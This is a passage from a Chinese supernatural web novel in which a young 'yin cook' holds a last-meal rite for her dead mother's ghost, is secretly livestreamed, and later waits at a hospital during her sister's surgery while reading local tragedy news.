就在这时，道长眼角余光忽然注意到自己的摊位上放着一张红色的百元钞票，他一挑眉，看着沈聆背影的眼神变得耐人寻味了起来。
“看来，还是个有善心的姑娘。”
……
且说沈聆回到家之后，按照外婆的交代，清洗了月牙米，并按照妈妈生前喜欢的火候蒸熟了一晚热腾腾的米饭。
在米饭蒸好的时候，外婆交代沈聆割破手指，将她自己的血加入米饭中，因为阴魂除了在中元节、清明节之外，是没有办法直接食用阳人的食物的，需要阴厨用自己的血作为媒介，才能品尝到食物。
但说是“品尝食物”，更准确的说，是品尝食物里的“气”，成为阴魂后，这些孤魂野鬼已经没有了□□，因此无法与阳人一样食用、消化食物，但他们能食用食物里的“气”，一旦被阴魂食用后，食物就会变得味同嚼蜡甚至如同腐败的食物一样恶臭难闻，只能埋到土里作为最后的处理，这便是阴厨的最后一项工作环节。
在准备好这一切的时候，已经接近傍晚了，昨天的三支香已经烧完了，沈聆按照外婆的叮嘱，重新在三清前请了三支香。
与唤魂中使用的清香不同，祭魂中的香必须是请示过神明的香，只有用请过香的清香再一次祭魂，鬼魂才能顺利“享用”阴厨祭祀的食物，相当于请示神明后，借助神明的力量，让鬼魂能够享受供奉。
阴厨在【请香】的过程中，需要将香横着拿着，跪在三清像前并低声许愿，希望神祇能够施舍力量，以香为媒，通灵逝者，这一环节叫【祈神】，随后，需要默念出希望通灵的对象，这叫告神，最后，需要将三支香用黄纸完好地封起来，直到在开始通灵的时候才能使用，这叫借神。
如果请香的过程中，并没有发生意外——如香折火灭等，那么就表示三清默许了阴厨这次的献祭，阴厨方能进行献祭。
借助神明的力量，让凡人拥有通灵的能力。
在沈聆的家里，一直供奉着三清像，在沈聆小的时候，她经常躲在墙后，偷看妈妈跪拜三清请香，当时她并不知道为什么妈妈总是横着拿着香，现在想来，当时妈妈应该是向三清【请香】，而且妈妈从来不允许沈聆、沈凝姐妹俩看到这一过程，或许也是对女儿们的一种保护，她并不希望女儿成为和她一样的阴厨，一辈子背负上随时可能被反噬的风险。
但一切在冥冥之中似乎都早有定数。
从沈聆出生那天开始，她的命格就已经注定了她成为这44任阴厨。
阴厨一职，一直都是刻入她们血脉的职责。
只能履职，不得翻覆。
6. 送亲
在做好一切准备的时候，带着外婆的叮嘱，在午夜时分，沈聆再一次回到了车祸的十字路口。
沈聆背着背包、提着装着一碗米饭的保温袋来到十字路口，看着清冷的路口，脑海中再一次回想起昨天发生在这里的一切，那场景，仿佛昨日重现，依旧阴风阵阵，清冷孤寂如影随形。
昏黄的路灯，像是一位位沉默的黑夜守护者，努力照亮着一小块一小块的区域，那灯火，忽明忽暗地闪烁着，宛如疲惫的舞者，在寂寥的夜色中，显得那般有气无力。
风，悄然吹过路口，带着几分凉意。
它轻轻扬起沈聆的外套，如同一个调皮的孩子，又顺势带走了她耳畔的温度，只留下丝丝凉意与寂静的夜相伴。
沈聆静静地站在那里，发丝在风中微微飘动，身影在昏黄的灯光下略显单薄，仿佛一幅静谧而略带忧伤的画卷。
今天晚上，她要来送别一个人，一个迎接她出生的人。
这一次，外婆让她带上了一小瓶黑狗血，黑狗血用小药瓶装着，虽然沈聆不知道外婆从哪里搞到了黑狗血，但是外婆告诉她，如果今天晚上还是遇到了阴神或是厉鬼，就直接把黑狗血洒向阴神，黑狗血有驱邪的作用，恶鬼自会退散。
不知道是否是瑞景路十字路口的磁场特殊，这里时常发生车祸，有许多枉死的冤魂徘徊此地，一次你深重，诡秘传闻也由来已久，有的老人说，这里常有替死鬼在路口寻找替死冤魂，这些死于非命者的魂魄总守在死所，抓走新来者的魂灵替代自己，以超脱孽海，而新来者的魂灵，便成为下一个替死鬼。
“妈妈……我一定不会让你被留在这里的……”
沈聆仔细回想了一下外婆昨天说过的话，她记得外婆提到过，阴神的出现，一般是有人祭拜路边的孤魂野鬼才形成的，就算没有阴庙，那一定是受了香火，才会作祟人间。
——这里是车祸常发生的地方，许多人死在车祸中。
——说不定有人看中了这一点，所以才在附近祭拜过阴灵，导致了阴神的出现。
今天晚上，沈聆留了个心眼，她并不着急着通灵，而是将背包和保温袋都放在了昨天自己祭拜的地方，她猫着身子，壮着胆子在周围的草丛里找了一圈，并没有发现所谓的阴庙或者是祭拜用的香炉，倒是在草丛里找到了一些烧过的黄纸的碎屑。
“黄纸？”
那些黄纸残缺着，看起来像是给死者在阴间用的冥币和上路的纸，那些黄纸有些粗糙，质感来说算是比较厚实的，并且上面依稀可以看到鎏金和红色的纹路，看起来并不是一般黄纸。
她默默地捡了几片黄纸收进了口袋里，她本能地感觉到，那天晚上出现的女鬼，一定不简单，虽然外婆并没有多做解释，但对方既然能够挟持生魂，说明对方的能力一定很强，甚至能够穿越阴阳，一直久留于世。
如果可能的话，如果有机会的话，说不定她以后会再一次遇到那只女鬼，如果能“替天行道”的话，她的阴德一定会更多，妹妹一定会更快好起来……
沈聆这么胡乱想着，已经回到了路灯下，谨慎地确认了一圈周围的安全后，按照外婆所说的流程，点亮了结魄灯，并将一块新的镜子重新放在了结魄灯前面。
昨天晚上，她完成的是唤魂的步骤。
现在，她要继续完成祭魂。
只有祭魂成功，阴厨的这单才算顺利完成。
这么想着，沈聆深吸了口气，让自己冷静下来，继续做好今天该做的事情，心里虽然还是担心，但想着对方毕竟是自己的妈妈，是不会害自己的。这么想着，便又多了几分夹杂着悲哀的勇气。
……
沈聆不知道的是，不远处，一位年轻的道长早已将沈聆的一举一动都看在了眼里。
“呵，这姑娘，胆子还真大。”他双手交叉在胸前，靠着树干看着沈聆，嘴巴里叼着一根泛黄的干草，也斜着的眼眸里带着几分懒散。
他像是忽然出现在这黑夜中的鬼魅，不知道在黑暗中待了多久，但那双眼睛却能够透过树林的黑暗，看到不远处的沈聆，他就这么静静地靠着树干站着，似乎不愿意打扰到沈聆，但似乎，又在等待某些事情的发生。
“沙拉……”
忽然，在他身后的小树林里传来一些诡异的动静，就仿佛是黑猫垫着脚尖跑过一样。
道长嗅到了一丝血腥味，微微侧过脸，看向了那边幽深的黑暗，暗哑着声音低声说道：“来都来了，不打算打个招呼吗？”
他压低的声音带着几分沙哑，但眼眸中倒是覆上了几分冰寒。
看来，他今晚没有白来。
一些“脏东西”还是出现了。
“你……究竟为何又在此处出现？！”
从小树林深处，低低地传来一阵女童的声音，那声音咬牙切齿着，仿佛是小女孩被抢走了心爱的洋娃娃一样心有不甘，又仿佛一头被激怒的野兽，恨不得立刻将眼前的道士撕成碎片。
“沙拉……”
刹那间，小树林里的气温如坠冰窟般骤降，一股诡异至极的磁场犹如一张无形的大网，瞬间将整个树林笼罩其中。
血雾顿时从树林深处袭来，血雾扫过的每一寸泥泞、每一片枝叶上，都凝结起了如鲜血般触目惊心的红色冰霜，那冰霜散发着丝丝寒气，仿佛来自地狱的诅咒。
一股似有若无、令人作呕的血腥味在空气中缓缓弥漫开来，那味道凝结着浓郁的血腥，同时又带着腐化的恶臭及药草的刺鼻，轻微的气息在林间擦过，仿佛有什么恐怖的东西即将从黑暗中苏醒。
那气息拂过道长额前几率轻柔的发丝，擦过了他的脸颊，他轻轻抬起手，修长的手指散去了几率空气中的血雾。
“嘘……”道士抬起手，靠在薄唇边，示意对方小声点，“小声点，别吓到那个小姑娘，这小姑娘是刚上任的44任阴厨才，经不起吓。”
道士漫不经心的态度，惹怒里树林里不可言说的那个存在。
对方使出了点手段，让整个小树林都覆盖着血雾，但年轻的道长像是并没有把这一切放在眼里。
“臭道士，昨天你已经坏了我的事，今天又要来搅浑水？！”
女童的声音带着怒意。
道长只是轻轻一笑，用小拇指掏了掏耳朵，满不在意地说道：“没办法呀，小道这也是拿人钱财、替人消灾，那姑娘白天给了我一张红色的‘大团结’，又不要我算命卜卦，我当然得帮她做点其他的事情了……放心，今天晚上，小道只不过是一个平平无奇的热心市民罢了，你呢，最好也别打什么主意，毕竟你昨天晚上可是试过我的浮光咒，被灼烧的感觉应该不好受吧？”
“臭道士！你们青城山一派就是要破坏我的好事是吧？！”
“哎呀，怎么能说破坏呢……”道士一挑眉，看着树林深处，“女鬼，你传音入秘，真身远隔千里之外，我此刻自然暂时拿你没办法，只不过，如果你今晚还要对这个姑娘下手，我也不会坐视不理，你自己——掂量掂量。”
道士加重了后面几个字眼，最后的几个字眼带着极为浓郁的威胁意味，仿佛一把冰冷的利刃，随时可能出鞘。
树林深处的那个声音，在听到道士的话语后，那不可言说的存在显然被其不经意间透出的强烈压迫感震慑住了，一时间竟安静了几分。
“沙……”
只听见几片枝叶轻微摩擦的沙沙声之后，那奇怪的动静便消失得无影无踪。
与此同时，树林里笼罩着的寒意也如潮水般逐渐减弱下去。
道士静静地听着树林里的风声，从那细微的变化中，他知道对方已经离去。
此刻，树林中弥漫着一种诡异的寂静，仿佛刚才的一切只是一场虚幻的梦。
他始终盯着那动静消失的方向，眼眸变得锐利了起来，似乎这才是潜藏在散漫下的他，但这锋芒，不多时便消失了，只见他挠了挠头、打了个哈欠，背靠着树干，便又看向了路口的沈聆。
……
“妈妈，我是聆聆啊，今天我带来了你想吃的米饭……”
沈聆压低了声音说着，在点亮结魄灯后，将那碗米饭从保温袋里拿了出来，摆在镜子前面，用火柴点亮三支香后，恭敬地将三支香插在了米饭上。
她按照外婆的嘱咐，在第二次通灵的时候，就不是打坐了，而是需要带着敬畏之心跪拜。
只见沈聆一个人跪在地上，路灯笼罩在她的身体上，在她身上覆盖了一层淡淡的光晕，灰色的影子落在人行道上，她看起来像是一个虔诚的信徒。
双手合拢在胸前，低下头，沈聆在心中默念着那句已经深刻入心的话——
“天地阴阳，万物生灵，幽幽魂魄，徘徊于世，以灯为凭，以香为引，招魂于此，速速现身。”
这一次，她并没有等很久。
在念完这句话的时候，她听见周围的风声呼啸而过，随即，红色手绳上的铃铛轻轻响起。
银铃响，怨魂至！
血河开，黄泉现。
如上一次一般，周围再一次渗出了许多细细密密的血迹，这些血迹汇成了一条血河，血河里翻腾着许多尸骨与鬼脸，腐烂的气息混合着血腥味席卷了街道的每一个角落，天空中大片大片的云朵压了下来，沈聆抬起头，看到那云朵的走向恰似一张低眉俯视的佛面。
我佛慈悲，普渡众生。
“聆聆。”
幽幽的声音在耳畔响起，那声音仿佛游丝一样，轻柔断续，从不知名的晦暗之处传来。
沈聆睁开眼睛看向了眼前
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的小镜子，通过镜子的折射，她看见满头是血的母亲正站在自己身后。
“妈妈！”
和昨天一样，母亲依旧保持着死前的模样。
“聆聆，你带饭给妈妈吃是吗？”沈聆的母亲没有张嘴，但她的声音却轻轻围绕在沈聆周围。
“对、对的……我已经按照外婆的嘱咐，做了妈妈爱吃的月牙米，我也在米饭里加了自己的血……”
沈聆结结巴巴地说着，下意识地看向了眼前插着三支香的白米饭。
话音刚落，沈聆忽然注意到插在米饭上的三支香的白烟闪动了一下，灰色的烟灰从三支香上掉落在米饭上，而那萦绕在米饭周围的白烟像是被吸收了一样，涌向了镜子里魂魄的位置。
沈聆不敢动弹，只能看着那白烟绕过镜子里的自己，被身后的魂魄吸收。
那镜中的魂魄满头是血，但闭着眼睛，微微张开嘴，像是在品尝着人世间最后一口饭食的“气”。
沈聆看着母亲最后的模样，不知不觉中，泪眼朦胧。
她想起了白日里道长所说的话——
【姑娘双亲逝去，应是姑娘此生父母缘已尽，但小道看姑娘的父母宫仍有一缕生机，怕是消散的缘分仍存一丝，若有来日，说不定能相逢于世间、有一面之缘。】
一字一句，砸落在心房。
或许，已经不会有来日了。
最后一面，已经在今晚见完了……
温热的眼泪划过脸颊，沈聆咬着牙忍着不哭出来，但她的拳头握得关节发白，她强迫自己不许在这最后的时候哭出来。
——至少，不要让妈妈不放心地离开。
沈聆的妈妈安安静静地吃完了最后一顿饭后，她的魂魄睁开眼，看着镜子里的女儿，这一刻，母女俩之间隔着一道无形的屏障，那是生死的界限。
母女两人近在咫尺，却又无法触及。
两人对视的一瞬间，像是有千言万语压在心里，但却没办法一一诉说，阴阳相隔的两人，今生缘分已尽。
沈聆知道妈妈要问什么，忙回答道：“妈妈放心，妹妹没事，她在平安医院的ICU里，昨天刚做完了颅脑手术，命已经保住了，外婆从下乡过来，目前住在我们家，我会好好照顾她们的……”
妈妈闻言，微微一笑，眼眸中也闪烁着泪光。
沈聆看见妈妈的身体在吃完米饭后，似乎变得更加透明了一点，在路灯下，她灵魂开始透明化，就如同一缕青烟，即将散去。
“苦了你了，聆聆……你要好好地……好好地活下去……好好照顾妹妹，好好照顾外婆……”
魂魄的声音越来越细微，在说完这句话的时候，插在米饭上的三支香忽然灭了，妈妈的魂魄也完全透明化，魂魄在那一瞬间消散，如烟、似雾，在沈聆的眼眸中消失了。
与此同时，黄泉路也逐渐消散。
血腥味散去，原先看到的触目惊心的血河也消失了。
只剩下空荡的午夜街头。
“妈妈——”
沈聆转过身急忙伸出手想要留住那一缕魂魄，但妈妈已经消失了，就连最后的一点残影也不见了。
沈聆呆愣地看着自己的双手，感到一阵巨大的空虚和无助涌上心头，仿佛整个世界都失去了色彩，愣怔了四五秒后，忍不住嚎啕大哭起来。
她颤抖着身体，哭得像个找不到回家路的孩子，心像是被撕裂开来，疼痛难忍，被压抑了许久的悲伤，终于在母亲离开之后，决堤而出。
“我再也没有妈妈了——”
……
站在树林里的道长默默将这一切都看在眼里，虽然同情，但他却也没有办法阻止这一悲剧的发生。
只能摇摇头，道一句：“生死有命。”
就在这时，他忽然注意到了什么，视线穿过小树林的阴影，看向了十字路口的对侧。
微微眯起眼睛，他看见在对街小巷的阴影里，一个女孩正拿着手机拍摄着沈聆。
那个女孩看起来不到二十岁，画着浓妆，穿着粉色的夹克，扎着两个低马尾，耳朵上带着耳返，胸前还别着一个微型收音话筒，她一双戴着美瞳的眼睛闪烁着兴奋，嘴巴一开一合的，似乎在说着什么。
“……”
道长皱起眉头，动了动耳朵，顺着风声，用传音之术听到了那个女孩子的声音——
“欢迎新进直播间的各位看官老爷！现在为您直播的是午夜街头的招魂术！”
“大家都看到了吗？！刚才画面中好像确实有一个模糊的白色轮廓出现在那个女孩子的身后！真是太不可思议了！这可是直播灵异事件啊！”
“现在直播间已经上涨到一万人啦！麻烦大家给主播点点赞，凑到二十万赞主播给大家发一个大红包！”
7. 热点
在陵川市瑞景路直播灵异事件的第二天，各大平台的热搜都被引爆了。
【震惊？这个世界真的有鬼怪？】
【一女子深夜拜祭，疑似撞鬼！】
【暗藏玄机的瑞景路，惊现鬼魂！】
【你相信鬼吗？这个视频会刷新你的三观！】
【陵川市闹鬼直播后，人人自危！】
……
陵川市，火了。
瑞景路，火了。
主播小小夷，也火了。
“小小夷”为何许人也？
“小小夷”乃是某短视频直播平台的主播，因昨天晚上直播了一场陵川市瑞景路的灵异视频而迅速走红各大网络，成为第二天的直播头条人物。
在这个流量为王的时代，抓住了热点，就是抓住了机遇。
一时间，几乎所有平台都在转载女主播小小夷在瑞京路十字路口的灵异视频，无论是解读视频还是热门词条，接下来的这一周，“瑞景路灵异直播事件”都是排名前三的话题，当地甚至还推出了“探索瑞景路”的灵异旅游路线，陵川市跻身为本省热门旅游城市。
陵川市市长估计做梦都没想到，之前怎么都打不出去的城市名号，被一个名不见经传的小主播通过灵异直播给打响了！
在那场直播中，女主播小小夷虽然没有拍到沈聆所看到的“黄泉路”，但却用摄像设备抓拍到了午夜十字路口出现的疑似鬼魂的人形轮廓，而当时直播间人数过万，观看直播的网友们眼疾手快、录下了直播的内容并转载在各大社交平台上。
这可是现场直播，不存在后期制作视频、P图的情况，在直播镜头下，网友们清清楚楚地看到有个女孩子在午夜的接头焚香祭拜，甚至在那之后，她身后出现了白色的模糊的人形轮廓，而那，便是这次灵异直播的争论点。
这个世界，真的存在鬼怪吗？
从那次直播后，名为“小小夷”的主播涨粉接近四十万，她将本次直播的视频直接置顶在主页，再次吸收点击量和讨论度，此外，她同步更新了抖音的购物橱窗，开始销售类似桃木剑、转运珠、驱邪符之类的东西，并接了许多个商品推广，还写了当晚的心得体会——《我的惊魂一夜》，借着这波热度，小小夷一跃成为知名灵异女主播。
说是一夜成名，也不为过。
但由于当时的拍摄设备并不是很好，直播所拍摄到的画面并不是很清晰，拍摄到的画面里，是一个女孩子在午夜的十字路口烧香拜祭，画面中并没有拍摄到祭拜者的正脸，只是远远拍到了一个背影——但祭拜的人是谁并不重要，重要的是，在拜祭之后，出现了类似白烟一样的魂体，虽然这魂体并没有持续太久便消失了，但这短短的几秒钟，已经足以引爆网络。
这是前所未有的物料。
足以震惊所有灵异博主。
在热搜爆了之后，各路声音也纷纷下场参与讨论，有正义感爆棚的路人，有号称“茅山道士”的研究者，也有神学爱好者，形形色色，不胜枚举——
无神论者认为这只不过是主播安排下、自导自演的闹剧，所谓的白色鬼魂，也不过是某种镜头特效罢了，纯粹是主播为了出名做的“小把戏”，说不定是祭拜的女子和主播串通一气，故意在镜头前放“烟雾弹”之类的东西，看起来像鬼魂罢了。
信奉神鬼之事者觉得这个世界就是有许多人们难以解释的现象，认为鬼神是真实存在的，所谓“举头三尺有神明”，我们看不见的东西不代表不存在，无论是西方还是东方，都有关于神祇的论述，神明和鬼怪是真实存在的，只不过我们肉眼凡胎，看不见罢了。
另外，还有一些持中立的人，觉得这些都是一时笑话、看个新鲜，所谓的“热度”都是媒体炒作出来的，媒体们并不在乎热点话题是什么，而是更在意自己推出的热点是否足够吸睛、自家的平台是否赚够了浏览量，作为普通大众，则不必太过在乎网络上的“喷子”、“争论”，毕竟互联网上每日新闻这么多，热点接二连三地刷新，互联网没有记忆，众人都已经习惯了“快餐式阅读”、“碎片式新闻”，所有人从不会把注意力放在一个事情上太久。
……
各路舆论甚嚣尘上，百家争鸣，一时间关于“世界上是否有鬼魂”的网络辩论便沸沸扬扬地在抖音、微博、快手等地方讨论开来。
而作为事件中心的沈聆，却因为无暇上网，反而没有注意到最近的社会热点是自己。
她此刻全部的心思，就是妹妹沈凝的手术。
虽然妹妹的颅脑手术很成功，但那只是一期手术，还有二期手术需要进行，此外，她全身骨骼有多处断裂，内脏也有受损，需要接受一系列的外科手术、配合内科治疗才能好转。
沈凝现在ICU里面，浑身插着管子，24小时有心电监护仪看护着她脆弱的心脏，沈聆没办法陪在妹妹身边，只能在安排手术的时候到平安医院签字，并等待手术室外。
除了焦虑，她似乎并没有其他可做的事情。
这种无力感让她浑身难受，但除了默默消化这些负面情绪之外，她并没有其他更好的办法。
“您好，您的费用已经缴纳好了，这两份是药品清单和ICU费用明细，医保报销的清单可以去自动办理机打印。”
沈聆站在住院部的窗口前，办理着妹妹的医保报销和住院费用缴纳事宜。
她接过窗口工作人员递过来的清单，看着上面一长排的药品清单和ICU费用清单，那些费用砍得她头皮发麻，感觉到太阳穴一跳一跳的，一想到存折里只有不到二十五万了，她就觉得心里拔凉拔凉的。
虽然钱包捉襟见肘，但沈聆还是微笑着对工作人员道谢。
“谢谢您。”
“不客气。您的卡上有治疗明细，我看了下，给您家人安排的手术是今天凌晨两点，您可以提前去胸外科签一下外科手术的相关手续。”
“什么？为什么会被安排在凌晨？凌晨做手术的话，医生不会打瞌睡吗？”
“实在不好意思，最近手术太多了……前天还发生了元山路校车坠毁事故，目前医院里许多伤者需要接受手术，但医院手术室有限，所以只能轮着用……不过您放心，我们的医生护士都是有轮班的，在手术之前，他们都已充分休息，不会影响您家人的手术开展。”
“这……”
沈聆仍是有点儿担心地挠了挠头，但听对方这么说，似乎也不好质疑医院的能力。
沈凝的第二场手术，是胸腔的骨外科手术，胸外科的主任医师操刀这场复杂的手术，医生要帮她重新矫正已经被撞得变形的肋骨和胸骨，如果可以的话，会用辅助材料帮她重新构建胸腔的封闭环境，保障肺部能有一定自主呼吸的能力。
她拿出口袋里的手机想查询一下自己和妹妹的医保信息，但弹出的新闻页面就是瑞景路的灵异直播。
无暇分心的沈聆皱了皱眉头，不多做思索便划掉了新闻页面。
她一边用手机查询医保信息，并一边迈步匆匆朝着胸外科走去，在她低着头匆忙赶去胸外科的时候，冷不防
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“咚”地一声，迎面撞到了一个人。
“小心！”
沈聆被撞得后退了好几步，还好那人眼疾手快，拉住了差点儿后仰摔倒的沈聆。
“啊，抱歉抱歉，我没注意看路，撞到你了……”在沈聆道歉之前，那人先一步道歉了起来。
这声音有点儿熟悉，沈聆闻言心头一震，她站定身子，缓缓抬起眼眸，目光落在了眼前这个拉住她的人身上——这是二十多岁的年轻男子，他头戴一顶黑色棒球帽，将头发整齐地压在帽子里，帽檐下的刘海若有若无地轻轻遮盖住了他的眼睛，给他增添了一丝神秘的气息，身着一件简约而时尚的运动外套，巧妙地勾勒出他挺拔的身材线条，展现出一种干练和飒爽的气质。
男子的眼神深邃而锐利，仿佛能洞悉一切，他的面庞轮廓分明，英俊而坚毅，透露出一股阳刚之气，嘴角微微上扬，带着一抹淡淡的笑容，给人一种亲切又不失稳重的感觉。
“不好意思啊，小姐姐，我刚才有点莽撞，撞到你了。”
“额，哪里哪里，我也没注意看路，撞到您了……”在说话的时候，沈聆嗅到了来自男人身上的淡淡的薄荷味。
她感觉到这味道似乎有点儿熟悉，这味道一瞬间将她的思绪拉回了第一个晚上、在瑞景路十字路口遇到小警察的画面。
——啊，是那个警察！
眼前这个男人的面孔和自己记忆中小警察的面容重合了起来，只不过现在他似乎不是工作时间，只是穿着便服出现在医院里。
但想起他的那一瞬间，她也同时想起了一件事——那天晚上她被吓尿了的这件事情！
羞耻和尴尬一瞬间涌上心头，沈聆瞬间红温了！
——他当时有没有看到我裤子湿了的事情啊？！
“对不起，我、我还有事情，先走了！”沈聆丢下一句话，飞也似的跑走了！生怕自己多停留一秒，对方就会想起她曾经害怕得尿裤子的事情。
“诶？小姐姐……”小警察眨了眨眼睛，还没有反应过来的时候，沈聆已经消失在医院走廊的另一头了。
他挠了挠头，似乎还没有从这场偶遇中回过神来。
“奇怪了……总感觉在在哪里见过她……但是……是在哪里？有点儿想不起来了。”
就在这时，男子口袋里的电话震动了起来。
“——”
他低下头从口袋里拿出手机，发现是有人打来了电话——
“喂？队长，嗯，我刚到平安医院……我正要去看看老李，那家伙在救元山路翻倒校车的时候摔伤了，我说他老了还不信！这下好了，和孩子们一起送到医院来了……只不过那些孩子的情况不是很好，好像目前并没有抢救回来的孩子……死了好多孩子……说来也奇怪，最近邪门得很，前天晚上校车出事的时候，平安医院也跳楼了一个孕产妇，不知道是不是流年不利……”
林凌警官在电话里跟警队队长报备完后，挂断了电话。
在挂断电话的时候，他的手机弹出了一个新闻页面——【震惊！陵川市瑞景路惊现直播惊魂！】
林凌对这标题感到几分好奇，毕竟是自己所在市的新闻，他带着好奇心点了进去。
不看不知道，一看便被吸引了注意力，熟悉的场景，熟悉的街道，熟悉的人……这不就是他前天巡逻的那个路口吗？
“……我们陵川市居然还有这么劲爆的新闻吗？等等，我怎么感觉……这个视频里的那个女孩子的背影有点眼熟……和刚才撞到的那个女孩子这么像？”
8. 平安医院
当天晚上，在医院的安排下，在沈凝被送入了手术室，在送入手术室的时候，已经是凌晨一点多的时候了，在送入手术室之后还需要麻醉、消毒、备皮等，一个活生生的人，便要被打开胸腔、腹腔，接受胸腔重塑。
沈聆在安置了外婆之后，便马不停蹄地赶到了医院。
出乎意料的是，外婆似乎并不担心今天晚上妹妹的手术，她只是淡淡地说了句话——
“放心吧，凝娃儿不会有事情的，你昨天已经成功积累了阴德，你们的命数共享，她会平安度过今晚的手术的。”
说完，便安心去休息了。
不过，老人家的这句话沈聆并没有完全放在心上，毕竟沈凝的外伤还是挺严重的，整个胸腔被车厢积压得变形了，甚至有几根肋骨插入了柔软的肺部，不过还好，用医生的话说，是“不幸中的万幸”，所有变形的肋骨并没有插入心脏或者主动脉，孙然肺部损伤，但都相对可治愈，肺部的自愈功能很强，只要将变形的肋骨矫正，就能恢复一定程度的自主呼吸。
一直忙到了半夜，沈聆才有了静下心来整理思绪的时间。
此刻，她独自坐在手术室外的走廊里，夜风凄凄，她感觉到走廊的风似乎带着几分凉意，不由得拉了拉自己的外套。
“——”
感觉到口袋里的手机震动了一下，她打开手机，发现是班主任发来的短信。
——短信上说她已经请假一个星期了，按照学校的请假制度，学生不能请假超过一周，否则将视为旷课，学校考虑到沈聆家的特殊情况，因此允许沈聆请假半个月，但这半个月里面，她至少得回去学校几次，应对出勤考核。
沈聆一向是班里的优等生，平日里安静乖巧，因此班主任也很照顾这个不太爱说话的孩子，在她请假的这段时间里，班主任都有通过邮箱、手机微信将近期的一些考卷、复习重点发给沈聆，希望她如果有空余的时间，能不忘学业，毕竟高考对所有学生来说，都是最重要的一场考试。
短信里，班主任问及她现在的情况，沈聆简单回答了一下妹妹当前的手术情况，并感谢老师的关心后，结束了对话，毕竟现在已经是晚上十一点多了，不合适太打扰别人的休息。
放下手机的沈聆感觉到一阵疲惫，她抬起头看向了走廊的窗户。
透过走廊的窗户，她看到了远处城市的万家灯火，那些灯火忽明忽暗地闪烁着，繁华而又遥远，交织成了一片荧光的星河。
但她看着那片繁华，只觉得陌生而遥远，似乎自己与这个城市格格不入。
妹妹的手术没有这么快结束，沈聆独自在走廊上等了一会儿，实在是无聊，便打开手机刷起了新闻。
这不看不要紧，一看便将近期的热点全都看了一遍——
1.瑞景路灵异直播！
2.平安医院产妇跳楼身亡，其中有何隐情？！
3.元山路校车侧翻，全车无人生还！
好家伙，陵川市一夜之间成为全国知名度最高的城市之一，这三条新闻直接将这几天的热搜承包了，每一条都是关于陵川市的新闻！
深夜的走廊很安静，沈聆独自坐在冰冷的椅子上，手机的荧光照亮了少女的脸庞，她鼻尖呼吸着冰冷的空气，那带着八四消毒水味道的空气在灌入肺部的时候，更觉得几分寒意彻骨。
沈聆首先点开了所谓的“瑞景路灵异直播”，在点开这个网页的时候，许多视频直接跳转了出来，沈聆一一看了一遍，惊讶地发现视频中的那个人好像就是自己！
“怎么会？！”
她惊讶地看着目前网络上流传的视频，那些视频只拍到了她的侧后方，但是从视频中那人的穿着打扮来看，正是昨天晚上在招魂的自己！
甚至还拍摄到了她妈妈的魂魄，以及魂魄消散的那一瞬间。
也正是这一幕，引爆了网络，引发了网友们关于“世界上是否存在鬼魂”的热烈讨论。
“难道……我在祭魂那个时候被偷拍了？！”
原先的震惊转化为疑惑，最后全都化作莫名的气愤自心底升腾而起，她是视频中被偷拍的人，偷拍者利用她作为热点，吸引眼球，赚取流量，赚得盆满钵满，而这一切，她这个被偷拍的人却一无所知！
“？！”
所谓的“流量”、“热点”、“关注度”将无知的沈聆架在了风口浪尖，拍摄者事前没有对她本人做出任何解释，事后也没有询问过她本人的意见，而是得意洋洋地藏在幕后享受流量时代带来的红利！视频中的沈聆却被口诛笔伐，被认为是直播造假的同伙，是博人眼球的小丑！
更离谱的是，网友口中的“鬼”，是她的妈妈，是她在通灵的时候甚至都没办法回头看一眼的妈妈！但是现在在网友口中，被套以的“鬼魂”、“厉鬼”、“孤魂野鬼”等等字眼，逝者已去，但却留下了这样污秽的形容，怎能让她不愤恨？
幸而当时直播的时候没有拍摄到沈聆的脸，否则她或许会被网暴、人肉搜索也未可知！
只不过个新闻热点已经发酵到一发不可收拾的地步，她却后知后觉地在第二天才知道自己已经“火遍全国”了。
“到底是谁？！”
沈聆强压着怒火，想要看看所谓的“小小夷”到底是谁。
当她点开“小小夷”这位始作俑者的直播账号的时候，在视频里看到了一位浓妆艳抹的小姑娘。
在她个人的主页作品里，基本都是她的短视频作品，镜头里的她看起来或许不到二十岁，身材瘦削，有点儿营养不良，脸上画着夸张的浓妆，头发挑染了粉色和蓝色，扎着低马尾，穿着夸张的低领小吊带，在镜头前将美颜开到了最大，看起来和直播间里的女主播们别无二致。
在她最新的作品下面，褒贬不一，但骂声占了大多数，基本都是责骂小小夷“炒作”、“弄虚作假”的声音，许多网友叫嚣着她下次直播的时候如果没有发生灵异事件，那么那天晚上的灵异直播就是假的。
“什么人都有！”
沈聆眉头紧锁、关掉了小小夷的个人主页，她觉得脑袋一阵一阵地疼，太阳穴突突跳动着，脑袋里的血管像是要爆炸了一样。
网络虽然是实名认证的，但普通用户没办法查到其他用户的真人信息，她虽然想找出“小小夷”到底是谁，但是找了一圈，也没有发现关于这个女主播的真实线索。
她似乎很谨慎，将自己在网络中藏得很好，这似乎也是主播的必备技能，毕竟她们被放大在了镜头下，因此对个人隐私更格外看中。
怀着愤愤不平的心，沈聆接着点开了其他两个和陵川市有关的热点。
这两个热点都和平安医院息息相关，没错，就是她此刻所在的平安医院。
平安医院不平安。
第二个热点，是那天沈聆与婆婆离开医院时，从楼上跳下、砸在警车上当场死亡的产妇的热点。
在新闻里，报道了她刚刚生下了一个健康的婴儿，但不知道为什么，在当天夜里，她忽然从产科的窗户一跃而下，从曝光的医院的视频监
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画面来看，那名产妇几乎是没有犹豫地走到了窗边，甚至没有回头看一眼襁褓中的孩子，双手按着窗框，就这么跳了下去，砸在了警车上，颅骨破裂而亡。
评论里众说纷纭，有的说她是产后抑郁，有的说是男方一直不出现、让女方承受不了，有的说孩子是女方被强后生下的，她感觉自己的人生无望，这才跳楼自杀……
无论如何，这些言论都只是猜测，随着孕产妇的死亡，没有人知道她到底经历了什么，现有的报道消息也有限，发表言论的多为好事者对此社会现象的评头论足，不足为道。
第三个热点，是元山路校车侧翻事件。
那天沈聆与婆婆看到的许多警车及救护车送来医院的重伤的孩子们，便是元山路校车侧翻事件的伤员，从目前卫健委公布的口径以及网友们补充的小道消息来看，校车上当时有44个孩子，其中20个孩子当场身亡，5个孩子不知所踪，19个孩子重伤被送到了平安医院，目前还有待进一步的治疗，也正是因为这19个伤情较重的孩子，平安医院的手术室一下子紧张了起来，沈凝的手术才被推迟到了后半夜，平安医院甚至求助临近市区的各大医院，调集医护人员参与人员救治。
